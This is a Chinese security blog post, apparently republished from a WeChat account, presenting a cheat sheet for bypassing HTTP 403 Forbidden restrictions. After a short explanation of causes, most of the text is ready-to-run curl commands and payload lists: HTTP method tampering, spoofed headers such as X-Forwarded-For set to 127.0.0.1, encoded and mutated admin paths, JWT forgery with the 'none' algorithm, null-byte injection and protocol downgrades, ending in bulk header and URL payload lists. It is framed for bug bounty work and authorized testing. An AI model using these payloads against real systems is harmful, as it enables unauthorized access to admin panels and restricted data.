文章总结： 本文分析了403Forbidden错误的工作原理和常见原因，包括IP地址封锁、权限配置错误、代理配置错误等，并分享了绕过403错误的技术，如HTTP方法篡改、头部操控、路径模糊测试等，旨在帮助读者在漏洞挖掘过程中访问受限资源。
综合评分： 85
文章分类： 渗透测试,网络安全,代码审计,漏洞分析,应急响应
403 Forbidden 绕过
原创
lys
lys
绿洲安全
2026年10月2日 09:00
中国香港
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
免责声明
由于传播、利用本公众号绿洲安全所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号绿洲安全及作者不为此承担任何责任，一旦造成后果请自行承担！如有侵权烦请告知，我们会立即删除并致歉。谢谢
引言
403 Forbidden（禁止访问）错误在 Web 应用中非常常见，通常用于保护管理面板、内部 API 或敏感端点。虽然它们看起来像是死胡同，但服务器、代理或访问控制系统的配置错误可能会在防御中留下裂缝。在本文中，我们将拆解 403 错误的工作原理、产生的原因，并分享真实世界中的技术来绕过它们，帮助你在漏洞挖掘过程中访问受限资源。
什么是 403 Forbidden 错误？
403 Forbidden 错误是一个 HTTP 状态码，意味着服务器理解你的请求，但不允许你访问该资源。
403 错误的常见原因
遇到 403 Forbidden 错误可能有多种原因。以下是一些最常见的原因：
- IP 地址封锁或白名单：特定 IP 地址范围或地理位置被拒绝访问，通常是安全策略的一部分，用于限制或允许来自特定来源的流量。
- 权限配置不当（ACL、IAM）：不正确的访问控制列表（ACL）或身份与访问管理（IAM）设置可能会阻止授权用户访问资源。
- User-Agent、Referer 或方法限制：基于 User-Agent 头部、Referer 头部或 HTTP 方法（如 GET、POST）过滤或阻止请求，通常用于阻止机器人、爬虫或未授权流量。
- 反向代理配置错误（NGINX、Apache）：NGINX 或 Apache 中的反向代理配置可能被错误地设置为基于安全策略阻止对特定资源或路径的访问。
- 文件或目录权限问题：文件或目录权限配置错误可能会限制对某些资源的访问，导致用户尝试访问时出现 403 错误。
- 速率限制或节流：基于请求频率的服务器端限制，当用户在给定时间范围内超过允许的请求数时，可能导致 403 错误。
- 认证或授权失败：权限不足、缺少凭证或无效令牌可能导致 403 错误，通常是由于认证或授权检查失败。
- 防火墙或安全软件拦截：Web 应用防火墙（WAF）等安全软件可能会阻止匹配特定模式（如 SQL 注入尝试或其他恶意活动）的请求。
- 地理访问限制：某些网站基于用户的地理位置限制访问，来自某些国家或地区的请求可能被阻止，从而触发 403 错误。
绕过 403 Forbidden 的顶级技术
以下是一份分类整理的真实、有效的 403 绕过技巧速查表。
1. HTTP 方法篡改
许多服务器主要对常见的 HTTP 方法（如 GET 或 POST）应用访问控制。通过切换到较少使用的方法（如 PUT、PATCH、DELETE 或 TRACE），你可能会绕过未考虑这些替代方法的错误配置安全规则。
示例：
curl -X OPTIONS --path-as-is https://example.com/private/curl -X GET --path-as-is https://example.com/private/curl -X POST --path-as-is https://example.com/private/curl -X PUT --path-as-is https://example.com/private/curl -X DELETE --path-as-is https://example.com/private/curl -X PATCH --path-as-is https://example.com/private/curl -X HEAD --path-as-is https://example.com/private/curl -X TRACE --path-as-is https://example.com/private/curl -X CONNECT --path-as-is https://example.com/private/curl -X PROPFIND --path-as-is https://example.com/private/curl -X MKCOL --path-as-is https://example.com/private/curl -X COPY --path-as-is https://example.com/private/curl -X MOVE --path-as-is https://example.com/private/curl -X LOCK --path-as-is https://example.com/private/curl -X UNLOCK --path-as-is https://example.com/private/curl -X SEARCH --path-as-is https://example.com/private/
-X：切换 HTTP 方法。--path-as-is：阻止 URL 规范化（对编码路径至关重要）。
什么是 --path-as-is？
当你使用 curl 发送请求时，它通常会为你清理 URL 路径。但有时黑客或漏洞赏金猎人希望发送奇怪或损坏的路径，以测试是否能绕过安全限制。
--path-as-is 选项告诉 curl：按我写的方式发送路径——不要修复或更改它。
示例：
要访问 https://example.com/../admin/
不使用 --path-as-is：
curl -X GET https://example.com/../admin/
被规范化为：https://example.com/admin/
使用 --path-as-is：
curl -X GET --path-as-is https://example.com/../admin/
会精确发送 https://example.com/../admin/，这可能绕过 403！
专业提示： 使用 OPTIONS 方法发现服务器上允许的 HTTP 方法。然后利用 Burp Suite 的 Intruder 自动化暴力破解，测试不支持的方法是否存在潜在漏洞。
2. 头部操控
在测试 403 绕过或其他访问控制配置错误时，攻击者经常操控 HTTP 头部来欺骗服务器授予访问权限。以下是一些常被滥用的头部、它们的典型值以及它们试图实现的目标：
# Common Headers Used for Bypass Attempts
| Header | Example Value | Purpose / Notes ||---------------------------|----------------------------|---------------------------------------------------------|| X-Original-URL | /admin | Access restricted paths via rewritten URLs || X-Rewrite-URL | /admin | Similar to X-Original-URL; processed by some proxies || X-Custom-IP-Authorization | 127.0.0.1 | Spoof internal IP (localhost) || X-Forwarded-For | 127.0.0.1 | Spoof client IP to appear as localhost || X-Client-IP | 127.0.0.1 | Another way to impersonate internal IP || X-Host | localhost | Manipulate host-based access controls || Referer | http://trustedsite.com/ | Trick server into trusting the source of the request |
使用 X-Original-URL 或 X-Rewrite-URL 头部来覆盖请求的路径，特别是在使用 Nginx 反向代理的系统中。例如：
curl -H "X-Original-URL: /admin" https://example.com/some-pagecurl -H "X-Rewrite-URL: /admin" https://example.com/some-page
使用自定义 User-Agent 绕过
某些服务器通过检查 User-Agent 头部来阻止来自 Burp Suite 或 curl 等工具的请求。将其伪造成真实浏览器可以帮助你通过基本过滤器。
示例：
curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" http://example.com/private/
这欺骗服务器认为请求来自正常浏览器，而不是自动化工具。
3. 路径模糊测试与编码
许多服务器阻止直接路径如 /admin，但未能检测到编码、修改或大小写改变的变体。
URL 编码
curl -g --path-as-is "https://example.com/%2e%2e/admin" # ../curl -g --path-as-is "https://example.com/%2e%2e%2fadmin" # ../admincurl -g --path-as-is "https://example.com/%2e%2e%2f%61dmin" # ../admin with 'a' encodedcurl -g --path-as-is "https://example.com/%2e%2e/%2e%2e/admin" # ../../admincurl -g --path-as-is "https://example.com/%2e%2e/%2fadmin" # ..//admincurl -g --path-as-is "https://example.com/%20/admin" # space/admincurl -g --path-as-is "https://example.com/%2e%2fadmin" # ./admincurl -g --path-as-is "https://example.com/admin%2f" # admin/curl -g --path-as-is "https://example.com/admin%252f" # admin%2f (double encoded)curl -g --path-as-is "https://example.com/admin%2e%2e%2f" # admin../
路径模糊测试
| Trick | Example | Purpose ||-----------------------------|---------------------------------|-------------------------------------------------|| Add a trailing slash | /admin/ | Bypass filters expecting exact match (`/admin`) || Add ..;/ | /..;/admin | Bypass via path confusion || Double slashes | //admin// | Bypass normalization rules || Add a dot at the end | /admin. | May trick poorly written regex or filters || URL-encode the slash | /admin%2f | Evade path filters with encoding || Add random extension | /admin.php, /admin.json | Some servers ignore unknown extensions || Backslashes or mixed slashes| \admin, /admin\/ | Break or confuse path parsers || Trailing semicolon or space | /admin;, /admin%20 | May confuse parsers or match loosely || Unicode tricks | /admin%c0%af, /admin%ef%bc%8f | Unicode slash bypasses || Append junk param or fragment| /admin?foo=bar# | May bypass path-only checks |
大小写操控
curl https://example.com/admincurl https://example.com/Admincurl https://example.com/ADMINcurl https://example.com/aDmiNcurl https://example.com/adMincurl https://example.com/AdMiNcurl https://example.com/aDMINcurl https://example.com/ADMIn
添加后缀
curl https://example.com/admin.jsoncurl https://example.com/admin.csscurl https://example.com/admin.jscurl https://example.com/admin.htmlcurl https://example.com/admin.phpcurl https://example.com/admin.aspxcurl https://example.com/admin.xmlcurl https://example.com/admin.txtcurl https://example.com/admin.bakcurl https://example.com/admin.oldcurl https://example.com/admin.zipcurl https://example.com/admin.tar.gz
这些技巧在服务器限制 /admin 但由于路由或文件处理规则不当而允许 /admin.json 或其他变体时生效。
4. 参数篡改
某些服务器仅对路径（如 /admin）应用安全检查，而忽略查询参数。通过附加良性或误导性参数，你可能会绕过访问控制或过滤规则。
示例：
curl "https://example.com/admin?unused_param=1"curl "https://example.com/admin?redirect=allowed"curl "https://example.com/admin?debug=true"curl "https://example.com/admin?access=granted"curl "https://example.com/admin?token=123"
5. JWT 令牌篡改
当应用程序使用 JWT 进行认证时，如果服务器未正确验证签名或盲目信任令牌，修改令牌的负载（例如将 "role": "user" 改为 "role": "admin"）可能导致权限提升。
步骤：
- 在 jwt.io 解码 JWT。
- 修改角色并移除签名（将算法设置为
none）。 - 重新发送令牌：
curl -H "Authorization: Bearer <MODIFIED_JWT>" https://example.com/adminarea
6. 空字节注入
注入空字节（%00）可能欺骗实现不良的服务器在处理过程中截断 URL 路径，从而可能绕过访问控制或文件限制。
curl --path-as-is "https://example.com/admin.php%00.html"curl --path-as-is "https://example.com/config.php%00.json"curl --path-as-is "https://example.com/login.php%00?redirect=admin"curl --path-as-is "https://example.com/user/profile%00.php"curl --path-as-is "https://example.com/images/logo%00.jpg"curl --path-as-is "https://example.com/admin%00.php"curl --path-as-is "https://example.com/secret%00file.txt"curl --path-as-is "https://example.com/uploads/file%00.zip"
7. HTTP 版本降级
某些服务器对 HTTP/1.0 请求的处理方式与 HTTP/1.1 不同，通常会为了兼容性而绕过安全检查或应用较宽松的控制。
curl -http1.0 https://example.com/admincurl -http1.0 https://example.com/secretcurl -http1.0 https://example.com/configcurl -http1.0 https://example.com/dashboard
8. 使用代理或 IP 欺骗绕过
某些 403 错误是由于基于 IP 的限制而产生的。这些有时可以通过更改 IP 地址或欺骗头部来绕过。
示例：
使用代理/VPN：
proxychains curl http://example.com/private/
欺骗 IP 头部（可能对配置错误的服务器有效）：
curl -H "X-Forwarded-For: 127.0.0.1" http://example.com/private/curl -H "X-Real-IP: 127.0.0.1" http://example.com/private/
9. 在 HTTP 和 HTTPS 之间切换
某些配置错误的服务器根据协议应用不同的访问控制。从 HTTPS 切换到 HTTP（或反之）有时可以绕过限制。
示例：
curl http://example.com/private/curl https://example.com/private/
10. 探索备用子域名与端口
访问限制（如 403 错误）可能仅适用于主域名，但相同的端点可能暴露在其他子域名或非标准端口上。
示例：
尝试以下变体
https://admin.example.com/adminhttps://dev.example.com/adminhttps://example.com:8080/adminhttps://example.com:8443/adminhttps://example.com:8000/admin
11. 跳过 Host 头部：
有时从 HTTP 请求中移除 Host 头部可以触发配置错误的后端行为。如果服务器或代理设置不正确，它可能将 Host 值默认为 127.0.0.1 或 localhost，实际上将请求视为内部请求。这可能会无意中授予对 403 受限端点的访问权限。
示例：
当服务器自动用受信任的内部值填充缺失的 Host 时，这个技巧就会生效，这在遗留设置或配置错误的代理中很常见。
12. 使用 Wayback Machine 访问 403 Forbidden 文件
某些现在返回 403 Forbidden 的端点过去可能是公开的。使用 Wayback Machine，你可以发现受限文件、管理面板或备份路径的旧快照，使其成为漏洞赏金猎人的宝贵侦察技术。
示例：
https://web.archive.org/web/*/https://example.com/secret-file.txt
https://web.archive.org/web/— 这是互联网档案馆 Wayback Machine 的基础 URL。*告诉 Wayback Machine 显示所有可用的快照，无论日期。https://example.com/secret-file.txt— 这是你想要检查过去版本的目标文件或页面。
这允许你手动查看现在被禁止的端点的旧缓存版本。
HTTP head payload
Base-Url: 127.0.0.1Client-IP: 127.0.0.1Http-Url: 127.0.0.1Proxy-Host: 127.0.0.1Proxy-Url: 127.0.0.1Real-Ip: 127.0.0.1Redirect: 127.0.0.1Referer: 127.0.0.1Referrer: 127.0.0.1Refferer: 127.0.0.1Request-Uri: 127.0.0.1Uri: 127.0.0.1Url: 127.0.0.1X-Client-IP: 127.0.0.1X-Custom-IP-Authorization: 127.0.0.1X-Forward-For: 127.0.0.1X-Forwarded-By: 127.0.0.1X-Forwarded-For-Original: 127.0.0.1X-Forwarded-For: 127.0.0.1X-Forwarded-Host: 127.0.0.1X-Forwarded-Port: 443X-Forwarded-Port: 4443X-Forwarded-Port: 80X-Forwarded-Port: 8080X-Forwarded-Port: 8443X-Forwarded-Scheme: httpX-Forwarded-Scheme: httpsX-Forwarded-Server: 127.0.0.1X-Forwarded: 127.0.0.1X-Forwarder-For: 127.0.0.1X-Host: 127.0.0.1X-Http-Destinationurl: 127.0.0.1X-Http-Host-Override: 127.0.0.1X-Original-Remote-Addr: 127.0.0.1X-Original-Url: 127.0.0.1X-Originating-IP: 127.0.0.1X-Proxy-Url: 127.0.0.1X-Real-Ip: 127.0.0.1X-Remote-Addr: 127.0.0.1X-Remote-IP: 127.0.0.1X-Rewrite-Url: 127.0.0.1X-True-IP: 127.0.0.1
URL payload
##?%09%09%3b%09..%09;%20%23%23%3f%252f%252f%252f/%2e%2e%2e%2e/%2f%2f%20%23%2f%23%2f%2f%2f%3b%2f%2f%3b%2f%2f%2f%3f%2f%3f/%2f/%2f;?%2f?;%3b%3b%09%3b%2f%2e%2e%3b%2f%2e%2e%2f%2e%2e%2f%2f%3b%2f%2e.%3b%2f..%3b/%2e%2e/..%2f%2f%3b/%2e.%3b/%2f%2f../%3b/..%3b//%2f../%3f%23%3f%3f%3f.php....%00/..%00/;..%00;/..%09..%0d/..%0d/;..%0d;/..%5c/..%ff/..%ff/;..%ff;/../..;%00/..;%0d/..;%ff/..;\..;\;..\..\;.html.json//#/%20/%20#/%20%23/%23/%252e%252e%252f//%252e%252e%253b//%252e%252f//%252e%253b//%252e//%252f/%2e%2e/%2e%2e%2f//%2e%2e%3b//%2e%2e//%2e%2f//%2e%3b//%2e%3b///%2e//%2e///%2f/%3b//../..%2f/..%2f..%2f/..%2f..%2f..%2f/..//../..//../../..//../../..///../..///../..//..//../..;//.././..//../.;/..//..///..//..//..//../..//..//..;//../;//../;/.//..;%2f/..;%2f..;%2f/..;%2f..;%2f..;%2f/..;//..;/.//..;/..;//..;///..;//..//..;//..;//..;/;//..;/;/..;//.//.///.;//.;//////..//../..///..;//.///.;////..///..////../////..;///..;////..;////;//;//;///;?/;x/;x//?/?;/x/..//x/..///x/../;//x/..;//x/..;///x/..;/;//x//..//x//..;//x/;/..//x/;/..;/;;%09;%09..;%09..;;%09;;%2F..;%2f%2e%2e;%2f%2e%2e%2f%2e%2e%2f%2f;%2f%2f/../;%2f..;%2f..%2f%2e%2e%2f%2f;%2f..%2f..%2f%2f;%2f..%2f/;%2f..%2f/..%2f;%2f..%2f/../;%2f../%2f..%2f;%2f../%2f../;%2f..//..%2f;%2f..//../;%2f..///;%2f..///;;%2f..//;/;%2f..//;/;;%2f../;//;%2f../;/;%2f../;/;/;%2f../;/;/;;%2f..;///;%2f..;//;/;%2f..;/;//;%2f/%2f../;%2f//..%2f;%2f//../;%2f//..;/;%2f/;/../;%2f/;/..;/;%2f;//../;%2f;/;/..;/;/%2e%2e;/%2e%2e%2f%2f;/%2e%2e%2f/;/%2e%2e/;/%2e.;/%2f%2f../;/%2f/..%2f;/%2f/../;/.%2e;/.%2e/%2e%2e/%2f;/..;/..%2f;/..%2f%2f../;/..%2f..%2f;/..%2f/;/..%2f//;/../;/../%2f/;/../../;/../..//;/.././../;/../.;/../;/..//;/..//%2e%2e/;/..//%2f;/..//../;/..///;/../;/;/../;/./;/..;;/.;.;//%2f../;//..;//../../;///..;///../;///..//;?;x;x/;x;??#?.php?;??////%2f///%2f%2f/%2f%2f%2f%2f%2f//
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：绿洲安全 lys
lys《403 Forbidden 绕过》